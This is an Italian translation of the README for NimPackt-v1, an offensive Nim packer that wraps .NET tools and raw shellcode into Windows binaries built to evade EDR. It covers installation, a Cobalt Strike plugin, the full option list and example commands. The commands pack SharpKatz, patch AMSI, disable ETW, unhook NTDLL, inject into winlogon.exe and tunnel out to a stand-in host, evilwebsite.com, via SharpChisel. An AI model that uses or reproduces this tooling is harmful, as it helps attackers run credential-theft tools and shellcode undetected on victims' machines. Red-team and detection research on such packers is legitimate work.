
Packer di assembly e loader di shellcode basato su Nim per opsec e profitto

Di Cas van Cooten (@chvancooten)
Con un ringraziamento speciale a Marcello Salvati (@byt3bl33der) e Fabian Mosch (@S3cur3Th1sSh1t)
Aggiornamento: NimPackt-v1 è tra i peggiori codici che abbia mai scritto (stavo appena iniziando a imparare Nim). Per questo motivo, ho iniziato una riscrittura completa di NimPackt, chiamata 'NimPackt-NG' (attualmente ancora privata). Con questa riscrittura, ho deciso di rendere open source il vecchio branch ("NimPackt-v1"). Di conseguenza, questo branch non è più mantenuto e viene fornito senza alcuna garanzia o supporto. Le PR sono sempre ben accette, ovviamente :)
NimPackt è un packer basato su Nim per eseguibili .NET (C#) e shellcode per Windows. Avvolge automaticamente il payload in un binario Nim che viene compilato in C nativo e quindi più difficile da rilevare e decodificare. Ci sono due metodi principali di esecuzione:
Execute-Assembly ri-pacchettizza un eseguibile .NET e lo esegue, applicando opzionalmente misure elusive come l'unhooking delle API, il patching di AMSI o la disabilitazione di ETW.Shinject prende un file .bin con shellcode raw e position-independent e lo esegue localmente o in un processo remoto, utilizzando opzionalmente syscall dirette per attivare lo shellcode o eseguendo il patching degli hook API per eludere l'EDR.Attualmente, NimPackt offre le seguenti funzionalità:
NTDLL.dll tramite ShellyCoatexe o dllUn'ottima fonte di binari C# per strumenti offensivi si trova qui. Si consiglia vivamente di compilare i binari C# da soli. Anche se i binari incorporati sono cifrati, dovresti offuscare binari sensibili (come Mimikatz) per ridurre il rischio di rilevamento.
Se hai problemi a compilare il binario con le Syscall, prova a downgradare il tuo GCC alla versione 8.1.0 (soprattutto su Windows). TESTA SEMPRE i payload generati!
Su Linux, installa semplicemente i pacchetti richiesti e utilizza il gestore di pacchetti Nimble per installare i pacchetti e le librerie Python necessari.
sudo apt install -y python3 mingw-w64 nim
pip3 install pycryptodome argparse
nimble install winim nimcrypto
Su Windows, esegui il programma di installazione di Nim da qui. Assicurati di installare mingw e impostare correttamente i valori del percorso utilizzando l'utility finish.exe fornita. Se non hai Python3, installalo, quindi installa i pacchetti richiesti come segue.
nimble install winim nimcrypto
pip3 install pycryptodome argparse
L'immagine Docker chvancooten/nimbuild può essere utilizzata per compilare i binari di NimPackt-v1. Usare Docker è semplice ed evita problemi di dipendenze, poiché tutte le dipendenze necessarie sono preinstallate in questo contenitore.
Per usarlo, installa Docker per il tuo sistema operativo e assicurati che lo shellcode di input sia nella cartella corrente. Quindi, avvia la compilazione in un contenitore come segue.
docker run --rm -v `pwd`:/usr/src/np -w /usr/src/np chvancooten/nimbuild python3 NimPackt.py -e shinject -i sc.bin
Per installare il plugin CobaltStrike, seleziona Cobalt Strike -> Script Manager dalla barra dei menu e scegli Load. Assicurati di caricare il file .cna dalla sua posizione originale, altrimenti non sarà in grado di trovare i file script di NimPackt!

usage: NimPackt.py [-h] -e EXECUTIONMODE -i INPUTFILE [-a ARGUMENTS] [-na] [-ne] [-r]
[-t INJECTTARGET] [-E] [-o OUTPUTFILE] [-nu] [-ns] [-f FILETYPE] [-s] [-32] [-S]
[-d] [-v] [-V]
required arguments:
-e EXECUTIONMODE, --executionmode EXECUTIONMODE
Execution mode of the packer. Supports "execute-assembly" or "shinject"
-i INPUTFILE, --inputfile INPUTFILE
C# .NET binary executable (.exe) or shellcode (.bin) to wrap
execute-assembly arguments:
-a ARGUMENTS, --arguments ARGUMENTS
Arguments to "bake into" the wrapped binary, or "PASSTHRU" to accept run-
time arguments (default)
-na, --nopatchamsi Do NOT patch (disable) the Anti-Malware Scan Interface (AMSI)
-ne, --nodisableetw Do NOT disable Event Tracing for Windows (ETW)
shinject arguments:
-r, --remote Inject shellcode into remote process (default false)
-t INJECTTARGET, --target INJECTTARGET
Remote thread targeted for remote process injection
-E, --existing Remote inject into existing process rather than a newly spawned one (default
false, implies -r) (WARNING: VOLATILE)
other arguments:
-o OUTPUTFILE, --outfile OUTPUTFILE
Filename of the output file (e.g. "LegitBinary"). Specify WITHOUT extension
or path. This property will be stored in the output binary as the original
filename
-nu, --nounhook Do NOT unhook user-mode API hooks in the target process by loading a fresh
NTDLL.dll
-ns, --nosyscalls Do NOT use direct syscalls (Windows generation 7-10) instead of high-level
APIs to evade EDR
-f FILETYPE, --filetype FILETYPE
Filetype to compile ("exe" or "dll", default: "exe")
-s, --sleep Sleep for approx. 30 seconds by calculating primes
-32, --32bit Compile in 32-bit mode (untested)
-S, --showConsole Show a console window with the app's output when running
-d, --debug Enable debug mode (retains .nim source file in output folder)
-v, --verbose Print debug messages of the wrapped binary at runtime
-V, --version show program's version number and exit
Esempi:
# Pacchettizza SharpKatz per accettare argomenti a runtime, eseguendo il patching degli hook di NTDLL, AMSI ed ETW, stampando messaggi verbose su una console visibile a runtime
python3 ./NimPackt.py -e execute-assembly -i bins/SharpKatz-x64.exe -S -v
# Pacchettizza Seatbelt come file DLL con argomenti incorporati (nota: scrivi su file di output perché stdout non è disponibile per le DLL)
python3 ./NimPackt.py -f dll -e execute-assembly -i Seatbelt.exe -a "-group=all -outputfile=c:\users\public\downloads\sb.txt"
# Pacchettizza SharpChisel con una stringa di connessione ChiselChief integrata, non eseguire unhook, patch di AMSI o disabilitazione di ETW, nascondi la finestra dell'applicazione a runtime
python3 NimPackt.py -nu -na -ne -e execute-assembly -i bins/SharpChisel.exe -a 'client --keepalive 25s --max-retry-interval 25s https://chiselserver.evilwebsite.com R:10073:socks'
# Pacchettizza shellcode raw in file DLL che viene eseguito nel thread locale tramite syscall dirette, eseguendo anche l'unhooking di NTDLL
# Shellcode generato con 'msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o /tmp/calc.bin'
python3 NimPackt.py -i calc.bin -e shinject -f dll
# Pacchettizza shellcode raw per essere eseguito in un thread di Calculator appena generato in una finestra invisibile
python3 NimPackt.py -i calc.bin -e shinject -t "calc.exe"
# Pacchettizza shellcode raw per essere eseguito nel processo Winlogon esistente (primo PID con nome 'winlogon.exe'), non utilizzare syscall dirette né unhook di NTDLL
python3 NimPackt.py -i calc.bin -e shinject -r -E -t "winlogon.exe" -nu -ns
I binari vengono salvati nella sottocartella output della directory di installazione. I file dll generati possono essere eseguiti come segue (il punto di ingresso può essere cambiato nel template Nim):
rundll32 exampleShinjectNimPackt.dll,IconSrv